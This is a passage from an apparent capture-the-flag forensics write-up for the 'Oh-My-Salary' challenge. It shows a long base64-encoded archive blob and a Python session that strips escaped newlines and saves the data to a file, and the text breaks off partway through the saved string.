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\n
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

If you look carefully you’ll notice that it has a lot of new line escapes, so I used python to print the final base-64 data and save them into a file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# python
Python 2.7.16 (default, Apr 6 2019, 01:42:57)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print("N3q8ryccAATIxWF+8AoAAAAAAAB6AAAAAAAAANY3kCg6AWnJIc9uESaH5GfcRZ9lKuuWZ/LK8Hnb\nmS+E+XYT7fZ3Nfq4zT1z+BAI9wL3lV5Jsiv/n2EvBE4vc1+PHg/L6QN9AfNG4KihNI8kLHOy02Cz\nJQzLFdT0Zei85AS3CZGZeRQBS+v/U5HYv7AU6K67BU5v
I+WQn3cVlc8WqbXm9bpqkwnvncy/xsTG\nzoMY03OBXLJUU/2jFsF2DOPI+uP6a3t8k5n2NaJGiRF0PsRXk2blrpTc1IFaIYI3ArmjWTuLVxYD\nohLpRppUt4+S4iOMX4AYXrzPNUL4zwEisXj8zAh4RB+E+y/8nmXXzh0Pvn4aQAfw3ZsM4TWyQLVa\nUosmZu9rUICrUlRcskmZD
D25WukXczXGe6lPwzDozKXmfgErTIPv7vJr57nDJffROYagZoAuW2eb\n3OVaeEfPnESeJHKULhXhfFtbqfVUOeU8TUVcym+47hEg8pTasXdPwbsRfjS+HpAJSAZ2pMtVPhXL\nO2AKQBpw70DoQpgHtk84S+hkbE4RALliYcoEPpQSP9GSSFlOV5wQiD9Xv/GTdQ+Cvx+PUYYfTAlI
\nfyNvE4KgrnV03LqhFN7jKJSPImvz6BlPp/wyu2ar+3qjxFfnivSz8Vzmp+fA69gO6xI1WyMT7SfL\nF0PmjtVSR052JmKwvbrfTrFqaef4PfW5fOedyz4/trqE7+xBHqwKqQf8dFUra87uec/VruMJKbuO\nH0sJSCaURkVBFBre9grg0mlXKmxu88ovko5LOLq+S1A1e7DALF6zI
9NzEIMp61r0ZISAC5RBir+3\nIk5xI0vJN+yEgFUzDCYkPJG7F8/76K+m/vgas20WxZTAj+6fpZRVQazxvq+f+ZvrXoPnF5eFKvqF\nqlPHOFn1L1urXts61aFTg+4epVK9JxfPx/6q2iA6Gnw2LHGG4ZkviC7FiOd+GF3ysRd25SOuXUit\njkjUmRQoatL1RVQMbyp9KBkyRnjFUs
9OWwHOkbYgl4REJ/qGd7HMW4h8FeklkQ5Mjv1Sb/fje9RA\n/KxC+KzXoRqexkSBSoxc48zOTbhuAxyDMG5tw1i5SNoLDqYU+u1MkYzUFv5G7cxrhSnE925Qt49t\nvVYboHky0jbgilGqU3j4tRQS2nSf3AskOrW4Fef2VyZVSJ1QKECoJg6cn7sXgG/5eZvczXAAzsIk\nyf/Beb4
/IFc3EIn0L8inS2Ds5rXUq0EyHaqyXwmR2gi1H8T4i9AHsB4HKFD91ThW/agKel8K2BvW\n0Oawglav/RZx4VtOIAkz/j8wvnE6AvA87mbC+bWSUmpE/3m9FuzG6aeMFrPvFJef6C8tLR5VhXWA\nh7zh52kaDTGlFDLnHmUUl99NmKhMqD6rinO6lMVUN1XnqEnftcAtfMeTGtte3i
B5/hwziuiGcekZ\nFKxMLhAM1w5OI0XwbMBvMcgDRMcGS7mLLeVqUrrJpv0/AZ50ilbsop5vamOxFslt70rsJrQI4K7r\norGwlzC8oLqKxlfToV69j2bgSutxjZeJ6eIYhWkoWRWZ0qaaRdM1gDOvr6Swuq2Bz3e+UB7QAfc/\n7S8HL8X6SFa14WkQlXbv63ACkhAbFmDL664u8MM
S6yjukmmBwWILaSjn70HLTSbYYFJFDvsSX4C4\nKxPXprYvHpZYRN7QJ8Z6wh0+8WLGkexFgQ+5gp38ITKw2ZbEpUhyZ7g56pzXzcZ4Ao26imPCPPCM\nkxEjQNb25GazGW1ZeFRBuChEDRGhyHpVBrjHAVEOGHslXDlfiYCBxx4zHAbzl1bY2+JcYPSQysbP\n9Azm8dyjhwFxLTLi
2oijgKt6ebc6yqGkCXYw7Lz35Sv9RlvjxhUDuomszKEx4igGFrfATGZflZWe\neSs/oNSX2hIB3Z+Q/CmF7/iTtL+1/3ppRNfclN6cf6xwkKQDay9+8LW87vHYDdUkyDGebhJVgUEU\nhkVqh84+ybzY8kDeJkYuaNasEHX5QtsEX64RERw38b4dFGxayy2121cHBIvgSy7F+p8tGr/
TAMvk\nS95mq2hCNH+eWAaYbN5KZXCESEMGcRqINziqAwPvtvyltGoshg3ltuZlHLxOZzR8ZkowZSoV5fgo\ng9pSEUGBtBMq2qtDBLlymITFTp3MCFeOb+N+eDgfeFci8hEwnWUjDVoYCgobi48TOb7ABFMXtyiq\nwswb6ISphq0MJTsAq4s2xN7jOC/2axOqojgr7S3hmLjp4wUx
KMdnofRW2jTxnsNnRadGguu/EBYf\nWSHHKKzsdwgJXm+Y0KevgXMn/Pc4qudjB/KHlrVDifWCC/JFMilPhkp4b1AYhryG2qSQTFH0M2l5\nUUYgXSsr1L9Qu512OqpDx4/RRXM8IYilCfwAFz9Ahd7bz4HrJ60WmxJcpkzght6AfPAyg0iI334j\nnmsF9EZWuULIrg9V3kDaicX2I
JqtQmn0jffRWmE3N8PqzO6NlMIMLWfP3C0HImct5iHAoWvkHpIZ\nC9dfbTfUY9SgSfF8kqWyF61NN0m/tuhjc2SDUvHozoOuJrI1ym4zbt/O2keRRBfgeBvo4idO85wP\nXSZnHukci9YTr6Yuegif9ZmU5iPyevxieCGVx8+1LTHHXRdLoTVAKd4pLD0/v/HziHLz6TL2o3Z9\na3
HzhW3On3NM61mDqktNIqlZcEQTjZsw4KcP+EqSETHdb104M1PRxwPnS48DSnsEEOKEJuCULSjm\nA9pwgloS/lQ/OoS9r8jgwNQh3rXwuMeZCCrLSgiTVvVMP8UPH24QMQz3SjVn/K/MkhVQZLh3P8wE\nUzQd/891HbbBwGpuPcnxMXFyJt055EpBNz65f//kV0RHvtqXgLKuKWLdu
Ev/ZLxMWclnIDWOdZzQ\nuriMG0zHRZeLWNDlUmKf3nzFYQEX/27RW5Iwy/Op/qsAb86/+erv5AA616Wf2EyL2Kl6GaBW0EVK\n8LAr1fdxzV/+D/GaX4xeCbrdv/i49TEelUQ2Ut7hNlmqWo09r+1zZZsHo9jsrfUUQfmvoKZhvFuR\nefISfOWWyCoCmxHkyuP5IrW39G78xGMD6p
E+2DqExH1Et8VWCBGXYnz/6BEHM54xYIzN8QbeSwqx\ndKeB4y3jo7NvSfes5T6/Z+WRn3CJ/N4WDYfugACnSlk6BAx83OC+yV41PcjsLHS6x3o1HsOmXwBj\nz/fDuXnAxXvO6bhkVWB/Byvp9blK2Y7995M2Gx9U826Cj/vY+OWbFi8ifLEvulVBMyRpONsJ5CuI\nZZ2nw6QeVYk
2OA8H8+68DcIrArhaH4qaaOLPIny+VRCZ21MF0GzjDZkHJC+k0fH8cdI7aTuXVw0O\nnr8zGZ7rUNgyn7f14thYnqg9C1E+uPgqTp9bPhDuDHG0PApvj4fnORvGzZCU8YfZE22MGhGihTgA\ngmGHshEDvlP/LICC5RPTCR7LwOtmPZeRlbA9C8bl/UwM4h7Az8a1089Uj8PuRvNOz8
Mp3t717KHJ\nOtl0iy++jHj0qfpXkNn3BqmM7FsaP8Opn4efg6UI0nVg8kQqcD5KjWNVyd//Wbnxoo4stjr4DOy7\nLI9Y9kO56NYZ9R54EiXw9UsyXnN4lvy62Al2rjRcpcA2yrK/d52aDjP91AY0Q7PEHG3t++MG0jKl\nVEUPElOjyIQLbFcAAgv0omnHIfG3WrybE1AxVvAq25m
xsS7NuyAQTs1+VOIbN+ZICRL9R6q9BXH+\nJ1yYwjPysIlEyUEfWsGFynPtAGdjtXA8hsDcWZU/k1RFDlYu2w0jAQQGAAEJivAABwsBAAIkBvEH\nAQpTBwRUId45GliZISEBBQEADIrlwMxEAAgKAY5g2lMAAAUBGQUAAAAAABElAGUAbQBwAGwAbwB5\nAGUAZQBfAGQAYQB0AGEA
LgB0AHgAdAAAABQKAQDQbKHeApTVARUGAQAgAAAAAAA=\n")
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
>>> with open("final.b64","w") as f:
... f.write("N3q8ryccAATIxWF+8AoAAAAAAAB6AAAAAAAAANY3kCg6AWnJIc9uESaH5GfcRZ9lKuuWZ/LK8Hnb\nmS+E+XYT7fZ3Nfq4zT1z+BAI9wL3lV5Jsiv/n2EvBE4vc1+PHg/L6QN9AfNG4KihNI8kLHOy02Cz\nJQzLFdT0Zei85AS3CZGZeRQBS+v/U5HYv7AU6K
67BU5vI+WQn3cVlc8WqbXm9bpqkwnvncy/xsTG\nzoMY03OBXLJUU/2jFsF2DOPI+uP6a3t8k5n2NaJGiRF0PsRXk2blrpTc1IFaIYI3ArmjWTuLVxYD\nohLpRppUt4+S4iOMX4AYXrzPNUL4zwEisXj8zAh4RB+E+y/8nmXXzh0Pvn4aQAfw3ZsM4TWyQLVa\nUosmZu9rUICrUlR
cskmZDD25WukXczXGe6lPwzDozKXmfgErTIPv7vJr57nDJffROYagZoAuW2eb\n3OVaeEfPnESeJHKULhXhfFtbqfVUOeU8TUVcym+47hEg8pTasXdPwbsRfjS+HpAJSAZ2pMtVPhXL\nO2AKQBpw70DoQpgHtk84S+hkbE4RALliYcoEPpQSP9GSSFlOV5wQiD9Xv/GTdQ+Cvx+PUY
YfTAlI\nfyNvE4KgrnV03LqhFN7jKJSPImvz6BlPp/wyu2ar+3qjxFfnivSz8Vzmp+fA69gO6xI1WyMT7SfL\nF0PmjtVSR052JmKwvbrfTrFqaef4PfW5fOedyz4/trqE7+xBHqwKqQf8dFUra87uec/VruMJKbuO\nH0sJSCaURkVBFBre9grg0mlXKmxu88ovko5LOLq+S1A1e7D
ALF6zI9NzEIMp61r0ZISAC5RBir+3\nIk5xI0vJN+yEgFUzDCYkPJG7F8/76K+m/vgas20WxZTAj+6fpZRVQazxvq+f+ZvrXoPnF5eFKvqF\nqlPHOFn1L1urXts61aFTg+4epVK9JxfPx/6q2iA6Gnw2LHGG4ZkviC7FiOd+GF3ysRd25SOuXUit\njkjUmRQoatL1RVQMbyp9KBky
RnjFUs9OWwHOkbYgl4REJ/qGd7HMW4h8FeklkQ5Mjv1Sb/fje9RA\n/KxC+KzXoRqexkSBSoxc48zOTbhuAxyDMG5tw1i5SNoLDqYU+u1MkYzUFv5G7cxrhSnE925Qt49t\nvVYboHky0jbgilGqU3j4tRQS2nSf3AskOrW4Fef2VyZVSJ1QKECoJg6cn7sXgG/5eZvczXAAzsIk\ny
f/Beb4/IFc3EIn0L8inS2Ds5rXUq0EyHaqyXwmR2gi1H8T4i9AHsB4HKFD91ThW/agKel8K2BvW\n0Oawglav/RZx4VtOIAkz/j8wvnE6AvA87mbC+bWSUmpE/3m9FuzG6aeMFrPvFJef6C8tLR5VhXWA\nh7zh52kaDTGlFDLnHmUUl99NmKhMqD6rinO6lMVUN1XnqEnftcAtfMeT
Gtte3iB5/hwziuiGcekZ\nFKxMLhAM1w5OI0XwbMBvMcgDRMcGS7mLLeVqUrrJpv0/AZ50ilbsop5vamOxFslt70rsJrQI4K7r\norGwlzC8oLqKxlfToV69j2bgSutxjZeJ6eIYhWkoWRWZ0qaaRdM1gDOvr6Swuq2Bz3e+UB7QAfc/\n7S8HL8X6SFa14WkQlXbv63ACkhAbFmDL6
64u8MMS6yjukmmBwWILaSjn70HLTSbYYFJFDvsSX4C4\nKxPXprYvHpZYRN7QJ8Z6wh0+8WLGkexFgQ+5gp38ITKw2ZbEpUhyZ7g56pzXzcZ4Ao26imPCPPCM\nkxEjQNb25GazGW1ZeFRBuChEDRGhyHpVBrjHAVEOGHslXDlfiYCBxx4zHAbzl1bY2+JcYPSQysbP\n9Azm8dyjhw
FxLTLi2oijgKt6ebc6yqGkCXYw7Lz35Sv9RlvjxhUDuomszKEx4igGFrfATGZflZWe\neSs/oNSX2hIB3Z+Q/CmF7/iTtL+1/3ppRNfclN6cf6xwkKQDay9+8LW87vHYDdUkyDGebhJVgUEU\nhkVqh84+ybzY8kDeJkYuaNasEHX5QtsEX64RERw38b4dFGxayy2121cHBIvgSy7F+
p8tGr/TAMvk\nS95mq2hCNH+eWAaYbN5KZXCESEMGcRqINziqAwPvtvyltGoshg3ltuZlHLxOZzR8ZkowZSoV5fgo\ng9pSEUGBtBMq2qtDBLlymITFTp3MCFeOb+N+eDgfeFci8hEwnWUjDVoYCgobi48TOb7ABFMXtyiq\nwswb6ISphq0MJTsAq4s2xN7jOC/2axOqojgr7S3hmL
jp4wUxKMdnofRW2jTxnsNnRadGguu/EBYf\nWSHHKKzsdwgJXm+Y0KevgXMn/Pc4qudjB/KHlrVDifWCC/JFMilPhkp4b1AYhryG2qSQTFH0M2l5\nUUYgXSsr1L9Qu512OqpDx4/RRXM8IYilCfwAFz9Ahd7bz4HrJ60WmxJcpkzght6AfPAyg0iI334j\nnmsF9EZWuULIrg9V3kD
aicX2IJqtQmn0jffRWmE3N8PqzO6NlMIMLWfP3C0HImct5iHAoWvkHpIZ\nC9dfbTfUY9SgSfF8kqWyF61NN0m/tuhjc2SDUvHozoOuJrI1ym4zbt/O2keRRBfgeBvo4idO85wP\nXSZnHukci9YTr6Yuegif9ZmU5iPyevxieCGVx8+1LTHHXRdLoTVAKd4pLD0/v/HziHLz6TL2o3
Z9\na3HzhW3On3NM61mDqktNIqlZcEQTjZsw4KcP+EqSETHdb104M1PRxwPnS48DSnsEEOKEJuCULSjm\nA9pwgloS/lQ/OoS9r8jgwNQh3rXwuMeZCCrLSgiTVvVMP8UPH24QMQz3SjVn/K/MkhVQZLh3P8wE\nUzQd/891HbbBwGpuPcnxMXFyJt055EpBNz65f//kV0RHvtqXgLK
uKWLduEv/ZLxMWclnIDWOdZzQ\nuriMG0zHRZeLWNDlUmKf3nzFYQEX/27RW5Iwy/Op/qsAb86/+erv5AA616Wf2EyL2Kl6GaBW0EVK\n8LAr1fdxzV/+D/GaX4xeCbrdv/i49TEelUQ2Ut7hNlmqWo09r+1zZZsHo9jsrfUUQfmvoKZhvFuR\nefISfOWWyCoCmxHkyuP5IrW39G78
